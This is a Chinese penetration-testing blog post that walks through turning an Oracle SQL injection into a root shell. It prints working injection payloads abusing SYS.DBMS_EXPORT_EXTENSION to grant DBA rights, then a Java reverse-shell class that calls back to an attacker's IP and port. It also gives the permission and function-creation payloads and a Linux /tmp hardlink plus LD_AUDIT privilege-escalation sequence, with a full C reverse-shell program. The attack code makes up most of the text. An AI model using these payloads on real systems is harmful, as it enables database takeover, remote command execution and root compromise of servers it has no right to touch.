前言
本文记录一下oracle从SQLi到get (root) shell的过程。首发于T00ls
。
首先我们需要一个oracle的一个注入点,oracle一般被用于大型企业或组织的数据库,所以它里面的权限划分、表间关系就变得尤其复杂,有时候即使能注出用户表也会存在password
列做了视图或多表联合,导致拿不到真实的password
。所以我们有必要对oracle数据库的信息做探测,我们可以通过sqlmap提供的自定义SQL语句
执行这个功能探测一下用户权限、视图等信息,这里使用--sql-query
:1
2
3
4--sql-query=QUERY SQL statement to be executed
Example:
sqlmap -u "http://www.xxxx.com/index.php?ID=111" --sql-query "select username from users"
Oracle相关权限
session_privs
oracle中我们可以通过查询session_privs
表得到当前用户的权限,如:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21-- sqlmap output
select PRIVILEGE from session_privs [19]:
[*] ADMINISTER DATABASE TRIGGER
[*] ALTER ANY INDEX
[*] ALTER ANY TABLE
[*] CREATE ANY INDEX
[*] CREATE ANY VIEW
[*] CREATE CLUSTER
[*] CREATE INDEXTYPE
[*] CREATE OPERATOR
[*] CREATE PROCEDURE
[*] CREATE SEQUENCE
[*] CREATE SESSION
[*] CREATE TABLE
[*] CREATE TRIGGER
[*] CREATE TYPE
[*] DELETE ANY TABLE
[*] DROP ANY INDEX
[*] INSERT ANY TABLE
[*] SELECT ANY TABLE
[*] UNLIMITED TABLESPACE
这里我们重点注意这个UNLIMITED TABLESPACE
权限,这个权限很高,高到可以满足我们后面执行java
代码,导致任意代码执行、反弹shell。1
2
3unlimited tablespace是隐含在dba, resource角色中的一个系统权限
一般DBA要把这个 UNLIMITED TABLESPACE权限关掉
USER_CONSTRAINTS
引用docs.oracle:1
USER_CONSTRAINTS describes all constraint definitions on tables owned by the current user. Its columns are the same as those in "ALL_CONSTRAINTS".
USER_CONSTRAINTS
存放了当前用户表的所有约束定义。所以我们可以通过这个查看当前用户表里是否存在对password的约束:1
2
3
4
5select constraint_name, constraint_type, table_name,index_name,search_condition, r_constraint_name from user_constraints where table_name = upper('YHB')
[*] SYS_C007280, C, YHB, , None,
[*] SYS_C007281, C, YHB, , None,
[*] SYS_C007282, P, YHB, SYS_C000082, None,
可以看到当前表下有三个约束条件。
user_cons_columns
USER_CONS_COLUMNS describes columns that are owned by the current user and that are specified in constraint definitions. Its columns are the same as those in “ALL_CONS_COLUMNS”.
查到约束名称后我们可以通过user_cons_columns
查看当前用户拥有且在约束定义中指定的列。也就是得到约束作用的列(字段)。如:1
2
3
4select ower,table_name,column_name from user_cons_columns where constraint_name='SYS_C000280'
[*] PASSWORD
[*] YHB
这里明显看到有一个对password的约束,当你在dump用户表的时候如果发现password是none或者null,那么就有可能是因为约束的原因。
user_views
USER_VIEWS describes the views owned by the current user. Its columns (except for OWNER) are the same as those in ALL_VIEWS.
user_views
描述了当前用户拥有的视图。视图是oracle的一个重要组成部分,它使复杂查询SQL变得简单有效。1
2
3
4create or replace view v_complex
as
select table1.ename, table1.job, table2.dname from table1, dept where table1.deptno=table2.deptno
with check option ;
如上就把两个table做了一个联合查询的视图,具体的可以另寻参考。
在渗透中我们可以使用如下进行查询:1
2select VIEW_NAME,TEXT_LENGTH,TEXT from user_views [224]:
-- 省略
Java代码执行
在得到目标的基本信息后我们可以利用oracle对Java的支持进行Java代码执行
。
前面说了UNLIMITED TABLESPACE
可以满足我们代码执行的条件。如果权限不够的话可以通过下面的语句进行提权:1
' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
执行后可能会报这个错误:1
2
3
4
5服务器无法处理请求。 --> ORA-06550: line 1, column 7:
PLS-00201: identifier 'SYS.DBMS _OUTPUT' must be declared
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored
ORA-06512: at "SYS.DBMS_EXPORT_EXTENSION", line 360
但在这个例子中并不会影响到我的操作,如果需要解决这个错误可以Google一下。
接着使用java 反弹shell
。
创建Java反弹代码
1 | ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("{your_ip}", {your_port});Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
格式化代码后就是如下语句:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import java.io.*;
import java.net.*;
public class shell {
public static void run() throws Exception {
Socket s = new Socket("{your_ip}", {your_port});
Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe");
new T(p.getInputStream(), s.getOutputStream()).start();
new T(p.getErrorStream(), s.getOutputStream()).start();
new T(s.getInputStream(), p.getOutputStream()).start();
}
static class T extends Thread {
private InputStream i;
private OutputStream u;
public T(InputStream in , OutputStream out) {
this.u = out;
this.i = in ;
}
public void run() {
BufferedReader n = new BufferedReader(new InputStreamReader(i));
BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));
char f[] = new char[8192];
int l;
try {
while ((l = n.read(f, 0, f.length)) > 0) {
w.write(f, 0, l);
w.flush();
}
} catch (IOException e) {}
try {
if (n != null) n.close();
if (w != null) w.close();
} catch (Exception e) {}
}
}
}
这里要注意区分目标系统,如果是linux就要改变执行的命令,否则会报:1
服务器无法处理请求。 --> ORA-29532: Java call terminated by uncaught Java exception: java.io.IOException: can't exec: cmd.exe doesn't exist
此时尝试换成/bin/bash
。
赋予Java可执行权限
上面只是相当于写了个文件,我们还需要给它加上可执行权限:1
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
创建函数
1 | ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
这里创建了一个叫reversetcp
的函数,函数里引用了上面我们创建的shell
类(shell.run()
)。
赋予函数执行权限
1 | ' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null-- |
执行reversetcp函数
1 | ' and (select sys.reversetcp from dual) is not null-- |
至此,就能将shell反弹到你的VPS里。
提权
一般oracle的用户的权限不会太高,所以我们要提至root。
首先对目标服务器做个信息收集(截选):1
2
3
4
5
6
7
8whoami
oracle
uname -r
2.6.18
cat /etc/issue
Red Hat release 5.3
在redhat5-6的系统中存在/tmp 777权限
提权的漏洞。
在/tmp下创建一个.redhat
的目录:1
mkdir .redhat
接着利用ping
这个命令,ping的权限很特殊是S,可以在普通用户使用这个命令的时候瞬间拥有这个命令的属主权限,这里是root.1
ln /bin/ping /tmp/.redhat/target
再接着:1
2
3
4exec 3< /tmp/.redhat/target
# 删除
rm -rf /tmp/.redhat/
接着找个C语言
版的shell:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
void usage();
char shell[]="/bin/sh";
char message[]="hacker welcomen";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf("Usage: %s <reflect ip> <port>n", prog);
exit(-1);
}
编译:1
gcc -w -fPIC -shared -o /tmp/.redhat oracle.c
运行:1
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
即可得到一个root shell:
参考链接
http://blog.51cto.com/akhack/1741615
https://www.cnblogs.com/chuanzifan/archive/2012/05/13/2497717.html
https://github.com/sqlmapproject/sqlmap/wiki/Usage
https://www.iswin.org/2015/06/13/hack-oracle/
https://blog.csdn.net/han_dongwei/article/details/40870197